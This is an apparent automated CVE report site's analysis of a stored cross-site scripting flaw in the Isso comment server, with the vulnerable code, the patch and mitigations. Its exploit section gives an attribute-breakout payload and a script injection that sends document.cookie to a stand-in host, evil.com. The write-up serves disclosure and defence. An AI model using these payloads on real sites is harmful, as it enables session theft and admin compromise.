CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27469

Isso... You Have Chosen Death: Analyzing CVE-2026-27469

Alon Barad
Alon Barad
Software Engineer

Feb 24, 2026·6 min read·49 visits

Executive Summary (TL;DR)

A Stored XSS vulnerability in Isso allows attackers to inject malicious JavaScript via the 'website' and 'author' fields. The root cause is the misuse of `html.escape(quote=False)` and missing sanitization on edit endpoints. Fixed in commit 0afbfe0.

In the world of self-hosted services, Isso has long been the darling of the static site generation crowd—a lightweight, Python-based commenting server that promised to free us from the tracking claws of Disqus. But as with all things that handle user input, the devil is in the sanitization details. CVE-2026-27469 is a classic Stored Cross-Site Scripting (XSS) vulnerability that highlights a fundamental misunderstanding of Python's standard library. By explicitly telling the HTML escaper *not* to escape quotes, the developers inadvertently handed attackers a key to break out of HTML attributes. Combined with a completely unprotected edit endpoint, this vulnerability turns the humble comment section into a launchpad for browser-based attacks.

The Hook: Comments as a weapon

Isso is designed to be simple. It’s a tiny Flask application that stores comments in SQLite and serves them up to a JavaScript client. For privacy enthusiasts and hackers running static blogs, it’s the gold standard. But simplicity often masks fragility.

The core function of a comment system is to take untrusted text from strangers on the internet and render it on other strangers' screens. This is, by definition, one of the most dangerous activities a web application can perform. The moment you fail to sanitize that input perfectly, you aren't just hosting comments; you're hosting a botnet command and control node, a crypto-miner, or a session-stealing trap.

In this specific case, the vulnerability isn't some complex memory corruption or a race condition. It's a logic error in how the backend prepares data for the frontend. It brings us back to the golden rule of web security: assume every user input is trying to kill you.

The Flaw: The `quote=False` Betrayal

The vulnerability lies in isso/views/comments.py. When a user submits a new comment, the server needs to sanitize the input to prevent HTML injection. The developers correctly identified that they needed to escape special characters. They reached for Python's built-in html.escape() function. So far, so good.

But then, they did something baffling. They called it with quote=False.

Why does this matter? By default, html.escape() converts <, >, &, ', and " into their safe HTML entity equivalents (like &lt; or &quot;). When you pass quote=False, the function explicitly skips escaping single and double quotes. The developers likely did this to keep URLs looking "clean" in the database, or perhaps to avoid double-escaping issues later down the line.

Unfortunately, the Isso frontend renders the author's website link like this:

<a href='USER_INPUT_HERE'>Author Name</a>

See the problem? The HTML uses single quotes to delimit the href attribute. Because the backend explicitly allowed single quotes to pass through unescaped, an attacker can simply include a single quote in their URL to close the href attribute early and inject their own event handlers. It is the digital equivalent of locking your front door but leaving the key under the mat—and then putting up a sign saying "Key under mat."

The Code: The Smoking Gun

Let's look at the diff. It’s rare to see a vulnerability so clearly defined by a single boolean flag. In the comment creation path (POST /new), the code was essentially saying, "Sanitize the tags, but trust the quotes."

Here is the critical change in the patch:

# Vulnerable Code (Before)
# isso/views/comments.py
website = html.escape(website, quote=False)
 
# Fixed Code (After)
# isso/views/comments.py
website = html.escape(website, quote=True)

But wait, there's more! As if the attribute breakout wasn't enough, the researchers found that the edit endpoints (PUT /id/<id>) completely forgot to call escape at all. If you created a clean comment and then edited it, you could put whatever you wanted in the author or website fields.

# Vulnerable Edit Handler (simplified)
def update(id):
    # ... data fetching ...
    comment.website = data.get('website') # No escaping whatsoever!
    comment.author = data.get('author')   # Raw input stored
    # ... save to DB ...

The fix for the edit endpoint involved retrofitting the same (now corrected) escaping logic used in the creation endpoint. It serves as a stark reminder: Security logic must be applied consistently across all state-changing endpoints, not just the creation path.

The Exploit: Breakout & Injection

Exploiting this requires a bit of finesse with the syntax. Since we are inside an attribute, we can't just throw in a <script> tag immediately. We first have to break out of the href.

Attack Vector 1: The Attribute Breakout

The target context in the browser DOM looks like this: <a href='{website}'>

If we send the following payload as our website: http://evil.com/' onmouseover='alert(document.cookie)' style='position:fixed;top:0;left:0;width:100%;height:100%;display:block;z-index:9999'

The server (with quote=False) stores it exactly as written. When the frontend renders it, the browser sees:

<a href='http://evil.com/' onmouseover='alert(document.cookie)' style='...'>
  1. href='http://evil.com/': Valid attribute. Closes at the first single quote.
  2. onmouseover='alert(...)': A new, valid event handler attribute injected by us.
  3. style='...': Styling to make the link cover the whole screen, ensuring the victim triggers the mouseover event no matter where they move their mouse.

Attack Vector 2: The Edit Bypass

This one is less subtle. An attacker creates a benign comment. Then, they send a PUT request to modify it. Since the edit endpoint lacked escaping entirely:

PUT /id/123 { "author": "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>" }

The server accepts it. The next time anyone loads the page, the script executes immediately. No user interaction required.

The Impact: Why Panic?

The CVSS score of 6.1 (Medium) feels deceptively low here. That score assumes the attacker needs user interaction (UI:R), which is true for the website attribute breakout (the victim has to mouse over the link). However, the edit endpoint vulnerability allows for direct script injection which executes on page load, which essentially elevates the practical impact to High.

In a real-world scenario:

  1. Admin Compromise: If the blog owner logs in to moderate comments and views the infected page, the attacker steals their session cookies.
  2. Defacement: The attacker can use JavaScript to rewrite the entire DOM of the host page, replacing the blog post with spam or malicious content.
  3. Worming: The script could use the victim's browser to post the same malicious comment to other threads, spreading the infection across the site.

For a "static" site, adding dynamic comments introduces a massive, dynamic attack surface. You are only as secure as your least secure third-party script.

Mitigation: Patching the Hole

The remediation is straightforward: Update Isso immediately. The maintainers have released a patch in commit 0afbfe0 that forces quote=True and ensures all edit paths are sanitized.

If you cannot update immediately, you have two options:

  1. Enable Moderation: In isso.cfg, set moderation = true. This forces all comments into a queue. An admin can manually inspect the URLs. However, be careful—if the admin panel itself is vulnerable to the rendering of these comments, you might just hack yourself.
  2. Content Security Policy (CSP): This is your safety net. A strong CSP can prevent the execution of inline scripts and restrict where data can be sent.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

This header would block the onmouseover handler (inline script) and the <script> tag injection, rendering the exploit useless even if the code remains vulnerable.

Official Patches

GitHubOfficial patch commit

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS Probability
0.06%
Top 81% most exploited

Affected Systems

Isso Comment Server < Commit 0afbfe0

Affected Versions Detail

Product
Affected Versions
Fixed Version
Isso
isso-comments
< Commit 0afbfe0Commit 0afbfe0691ee237963e8fb0b2ee01c9e55ca2144
AttributeDetail
CWE IDCWE-79 (Cross-site Scripting)
Attack VectorNetwork (AV:N)
CVSS Score6.1 (Medium)
ImpactConfidentiality, Integrity
Exploit StatusPoC Available
AuthenticationNone Required (PR:N)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

Patch AnalysisExploit derived from the removal of quote=False and addition of sanitization to edit endpoints.

Vulnerability Timeline

Fix committed by maintainer
2026-02-19
CVE-2026-27469 published
2026-02-21
GHSA Advisory published
2026-02-23

References & Sources

  • [1]GHSA-9fww-8cpr-q66r
  • [2]NVD CVE-2026-27469

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•25 minutes ago•CVE-2026-107716
7.3

CVE-2026-107716: Path Traversal and Link Following in banks DirectoryPromptRegistry

Improper pathname limitation and link resolution (CWE-22 and CWE-59) in the banks library prior to version 2.5.1 allow local attackers to read or write arbitrary files via crafted symbolic links in the prompt directory registry.

Amit Schendel
Amit Schendel
2 views•7 min read
•about 1 hour ago•CVE-2026-107726
9.3

CVE-2026-107726: Unrestricted Deserialization in Hazelcast Zero Config Compact Serialization

Improper validation of dynamic class resolution within Hazelcast's Zero Config Compact Serialization allows unauthenticated clients to trigger reflective class instantiation. This flaw can be exploited to read arbitrary JVM heap or off-heap memory, crash cluster nodes, or achieve arbitrary code execution under specific classpath conditions. This issue is resolved in Hazelcast versions 5.4.5, 5.5.10, 5.6.1, and 5.7.0.

Alon Barad
Alon Barad
4 views•6 min read
•about 2 hours ago•CVE-2026-107719
4.2

CVE-2026-107719: Session Expiration Bypass in fast-jwt via Verifier Cache

An authentication bypass vulnerability in NearForm's fast-jwt before version 6.3.4 allows attackers to replay expired tokens due to an error in the verifier's cache expiration logic. When caching is enabled, the cache TTL defaults to 10 minutes instead of honoring the token's exp claim if the token lacks an iat claim.

Alon Barad
Alon Barad
4 views•7 min read
•about 3 hours ago•CVE-2026-61427
7.3

CVE-2026-61427: Authentication Bypass and Unvalidated Tool Execution in PraisonAI MCP HTTP-Stream Server

CVE-2026-61427 is a critical authentication bypass and improper input validation vulnerability within the Model Context Protocol (MCP) HTTP-stream server of PraisonAI. In versions prior to 4.6.78, the server lacks authentication by default and forwards client messages directly to Python tool handlers without input validation. When bound to non-localhost interfaces, this permits unauthenticated remote attackers to perform unauthorized administrative operations and execute tools.

Alon Barad
Alon Barad
8 views•4 min read
•about 4 hours ago•CVE-2026-107387
6.2

CVE-2026-107387: Uncontrolled Memory Allocation (OOM) in music-metadata APEv2 Parser

CVE-2026-107387 is a high-impact uncontrolled memory allocation vulnerability in music-metadata, a widely used Node.js metadata parser. The flaw occurs in the APEv2 tag parser, where the library reads an attacker-controlled 32-bit integer indicating the tag size and immediately requests a corresponding heap buffer reservation. Because this allocation occurs before validating if the input stream actually contains those bytes, an attacker can supply a minuscule audio file to trigger large, disproportionate allocations, resulting in heap exhaustion and an uncatchable process-wide Out of Memory (OOM) crash.

Amit Schendel
Amit Schendel
8 views•5 min read
•about 5 hours ago•CVE-2026-107391
6.2

CVE-2026-107391: Synchronous Infinite Loop and Memory Exhaustion in music-metadata MP4 Parser

An input validation vulnerability exists in music-metadata versions prior to 11.16.0, where parsing a crafted MP4 file containing a sample-description (stsd) box with a zero-value size entry causes a synchronous infinite loop and memory exhaustion, resulting in complete Denial of Service.

Alon Barad
Alon Barad
11 views•7 min read